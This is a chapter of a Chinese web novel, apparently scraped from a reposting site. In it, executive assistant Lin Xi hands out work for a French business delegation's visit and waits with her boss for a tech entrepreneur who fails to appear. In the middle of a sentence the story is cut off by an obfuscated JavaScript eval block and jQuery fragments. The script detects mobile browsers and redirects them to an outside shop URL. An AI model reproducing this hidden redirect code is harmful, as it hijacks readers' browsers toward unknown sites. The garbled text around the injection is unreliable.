222. 等待
    智能化升级改造方案基本敲定,而且林曦和谢墨白充分沟通了一番,确定了后续的工作方向。

    然后,按照既定计划,林曦先后找机会,和国昌地产总裁万宁、国昌基建总裁潘玉荣,进行沟通,并向他们放风。

    对于集团总助的工作,不,或者说作为谢墨白的总助,林曦已经越来越得心应手。对于总助的定位和职责,她也更加明晰。带领总裁办,按部就班处理好各项日常工作,这只能算是及格。

    更重要的是,她要作为谢墨白的代言人,在他不方便直接出面的时候,与集团上下各个层级,进行正式和非正式的沟通协调,以确保CEO的权利,能顺利通达集团的各个部分。

    和林曦预判的一样,万宁、潘玉荣二人,无论是对接收转岗,还是对于接收两家子公司,都并不排斥。

    对于地产和基建板块来说,业务发展势头正好。本来就需要扩充人手,从哪里招人不是招呢?

    何况林曦还暗示,两个板块只需要负责接收人员。其他的转岗工作,无论是岗前技能培训,还是相关人员的思想工作,主要都由国昌建材自身完成。

    就算在接收过程中,还有些繁琐事务。那有怎样呢?

    到了万宁和潘玉容这个职位上,下面有的人去负责具体事务,还需要他们亲自动手处理吗?他们何必为了替下属省事,就去得罪上司、错失在老板面前表现的机会呢?

    同样的道理,基建和地产板块,也不反对接收两家子公司。

    比起工业板块,对国昌建材、国昌冶金的嫌弃,万宁和潘玉容心知肚明,两家子公司的一部分利润,其实流入了集团内部,准确地来说,就是流入基建和地产。他们两方才是最大的受益者。

    而且随着业务拓展,他们对建材的需求,更是有增无减,自然愿意保留稳固的内部供货渠道。集团化的运营,低廉质优的建设成本,一直是两家保持市场竞争优势的秘诀之一。

    万宁一口答应,愿意服从总部的安排。

    潘玉荣则谨慎一点,他表示个人是完全赞同这种安排的。但又委婉提醒,可以主动先向何若琳何董那边,做一个简单的汇报。

    林曦对于这个沟通结果,毫不意外,也非常满意。她之前也判断,最大的阻力,应该不在地产和基建板块,或者说不在万宁和潘玉荣身上。何若琳那边,可能也要有所沟通。

    但最大的阻碍,还是在于工业板块,这个冶金、建材两家子公司的直属母公司。最大的麻烦,必然是邓一峰和分管集团总裁郭正,这两位直接领导。

    按照谢墨白的交代,林曦也并不着急立即推进此事。她只是先放出消息,观察各家反应,以便于收集信息,再做应变。

    现在,除了日常事务之外,林曦主要盯着两方面的工作。她要带着总裁办,与李以布勒集团为首的F国企业对接,做好他们来华访问的各项安排。

    另外,林曦要还将一部分的工作注意力,分给明光投资。自从与A校进行校企合作之后,明光的大数据中心,得到了充足的人员力量补充,在优化算法上的许多问题,也迎刃而解。

    谢墨白对于云计算和大数据中心的建设,一直非常上心。他决定要进一步加大发展力度。既然技术上的难题,已经得到了一定程度上的解决,又有了A大这个长期稳固的合作渠道,明光科技开始向市场化应用进军。

    如此一来,明光科技还需要进一步的扩充人手。毕竟A大的科研团队,可以与明光科技共同合作,作为技术支持,但不可能成为明光科技的全职员工。A大的教授们,也不可能亲自带队,研发和商业运营一把抓。

    所以今天下午,林曦要陪同谢墨白,去见一个科技互联网领域的新贵大佬,请他帮忙。

    出发前,周芳准时敲门进来,给林曦送上了材料。这是与圣布勒集团对接后,初拟的一些接待安排。

    林曦让周芳在沙发上坐下,稍等片刻,开始认真过目这份安排方案。她不时拿着钢笔,在上面做一些修改和补充。然后把材料还给周芳,“目前,大致的来访人员和日期,基本上已经确定了。”

    她简明额要、思路清晰地布置工作:“我们下一步的工作方向。一是要确定集团内部,哪些部门、子公司要参与接待,并通知督促他们做好相应准备,由总裁办汇总行程整体材料。这个方面我不担心,正常推进。”

    林曦稍微犹豫了一下,说道:“这一部分的内容,总裁办内部由赵旭主要负责,洪赞配合。”

    赵旭主要对接地产板块,这个板块其实与这次的来访企业,没有什么直接业务关联。关联性更大的是工业板块。但是,赵旭资历更老,排名更靠前。林曦稳妥起见,并没有越过赵旭,只是让洪赞给他配合。

    她稍等一两分钟,见周芳已经记下,接着说道:“二是,这次接待,我们国昌是地主。但若是只策划成一次普通的商务接待,那就太小家子气了,也和咱们国昌在商业的地位不相称。”

    周芳现在拿给她的方案草稿,不是说不好。毕竟像国昌集团这样的大型集团,商务接待的经验数不胜数,一切都有前例可以参照。拿出来的方案,怎么都走不了大样儿。

    但是,这份中规中矩的接待方案,不够大气!不符合林曦的预期,更不符合谢墨白的利益!

    说着,林曦给了目标,“这一次,不仅要办好,还要大办!周芳你记住,这是两国之间的一次非非官方大型商贸经济交流。一定要办得隆重热烈。”

    “所以,还要请一些国内的知名企业、大型集团,参加作陪,才能显得花团锦簇、众星拱月。”

    还有一点,林曦并没有和周芳吐露。这样的高层级双边经济交流活动,如果办好了,就不必仅仅局限于,再多几家合作伙伴,多签几笔单子。当然,这一点也很重要。

    更重要的是,凸显谢墨白这位新任当家人的风采和能耐!那红楼梦里的王熙凤,虽然当家妥当,但因为不曾办过几场婚丧大事,还要恐人不服。古今的道理都是一样的。

    这样一场盛事,别人人没办不成,若让谢墨白牵头给办成了。集团上下也好,华国商界也好,谁还能再把他,仅仅当做一个年轻晚辈来看待?

    何况林曦跟着谢墨白,也有段时间了,二人又是敞开心扉交流。近朱者赤,对于他的行事风格,怎么也能琢磨学习到几分。

    之前,谢墨白牵头组建了沐光慈善基金,现在又办两国经济交流论坛,都是一个意思。就是要最大程度扩大他本人和国昌集团的影响力。这带来的无形好处,不可胜数!

    上司既然提了要求,要广邀各大集团。周芳认真想了想,提醒道:“这个邀请名单,很有讲究。”

    林曦赞同,肯定她道:“你的这个想法很对。既要考虑到,国内哪些集团和来访企业有业务关联,又要考虑到国内的集团,和咱们国昌的远近亲疏。很考验功夫啊!”

    这已经超出了周芳和总裁办的能力范围,林曦也不为难她:“我会请商务部配合总裁办,先列一份名单。最后再请小谢总,过目定夺、删减增补。”

    林曦心里思虑了一遍,做出一个决定:“这部分部分工作内容,总裁办这边让杜韦牵头负责。”

    杜韦以前负责对接投资方向,在总裁办内的排名,其实靠后。但是林曦升任总助之后,虽然对各位助理的分工,没有进行大的调整,但是她逐步让杜韦,更多地参与到对接市场部、商务部的工作中。

    除去人事、务这两个敏感的重量级部门,市场部可谓是总集团内部最重要、最强势的部门之一。商务部也同样举足轻重。

    林曦考虑到,确定国内邀请集团的名单,主要还是商务部提初步意见,总裁办只是配合。而且最后,还是要看小谢总

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125454|125498||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的意思。因此,杜韦要面临的工作难度,并不算太大,但是做好了,却是一份不错的成绩。

    林曦刚跳槽过来的时候,还只是一个普通助理,就是杜韦带着她熟悉各项事务。此后,他对林曦的工作,也一直非常支持。二人又是校友,这就是天然的友盟。林曦是有意,让杜韦承担更多工作担子的。

    周芳对这个安排,心里有些意外,但也很快明白过来,快速达道:“好的。我稍后立即通知商务部和杜助理。”

    她也不由得因此有些了想法。林曦入职以前,张扬做总助的时候,对其他几位助理,是又拉又防,但基本上一视同仁。一直到离职前夕,才对林曦大力相助。

    张扬的目标是升职到子公司,转到领导职位。因此,他需要与总裁办的各位助理,都保持良好的关系。而且,他也并没有在总裁办内部,培养提拔心腹的打算。

    但林曦显然有这个意思。

    周芳并不是一个笨人。当初她给林曦做秘书,固然是由于张扬的随手安排。但是林曦接任总助之后,并没有换人,就足以见得,周芳有一定的工作能力。

    林曦愿意在总裁办内部栽培人手。这对于周芳,自然是一个利好。

    林曦放下笔最后交代道:“还有,做好食宿和接待上的安排。白灵是负责行政安排方面的助理,他自然要参与。”她鼓励地看向周芳道:“但是或许……白助理或许需要一些人协助配合。”

    周芳立马会意,积极争取道:“如果总助您同意,我很愿意给白助理打打下手。”

    她也给出了一个面上的理由:“虽说前期工作,要由白助理完成。但最终,还是由您来定夺。我如果参与其中,也能更方便向您汇报工作。”

    “好,那就这么安排。”林曦本来就有意栽培周芳,不然她也不会特意提起此事,现在自然不会拒绝。

    她将钢笔盖子合上,提醒道:“我马上要陪小谢总出门。你把我刚才交代的各项工作落实。”另外提醒道:“别忘了,要了解一下来访人员的宗教信仰、饮食习惯。在刚才的资料上,我没有看到这一点。”

    谢墨白要去见的人是段文英,这是一个科技互联网新贵。他创立的星云公司,主要从事门户网站和游戏开发运营。近些年,也开拓了一些在线翻译、音乐视听类的业务。

    明光科技需要技术人才,但更继续一个能够独立带团队的技术人才。

    其实最开始,谢墨白的标准更高。他想要的,是一名能够独立带团队,又具备高水平IT技术,还能参与市场化运营的复合型人才。但是这三个条件一摆出来,连猎头们,都找不到多少符合要求的目标。

    于是,谢墨白值得将条件放宽,只满足前两个要求也行。他可以让市场部,额外给明光投资配备再一些人力支援。

    技术人才和能独立带团队,这两个条件如果单独拿出来,都很好招人。但是叠加在一起,就有很有难度。

    特别是,许多IT专业的尖端人才,并不擅长沟通和协调。而善于处理人际关系的那部分,则早早趁着互联网产业发展的东风,自主创业了。

    所以,谢墨白才请托各方面的关系,帮忙推荐搜罗合适人选。他拜托了很多人,段文英就是其中之一。

    谢墨白和林曦,提前15分钟左右,就到达约定见面的茶馆。段文英还没有到。于是,二人一边坐下等,一边商量接下来的安排。

    挑选这个时间地点见面,也有一些讲究。保守估计,他们可能要与段文英聊个1~2个小时,结束就是五六点左右。如果段文英有意,那么谢墨白就邀请他共进晚餐。

    但是到了4点,也就是约定的时间,段文英却没有到。又等了5分钟,仍然不见人影,而且没有任何通知消息。

    姓段的人,都这么眼高于顶吗?这个段文英怎么想的,竟然放谢墨白的鸽子!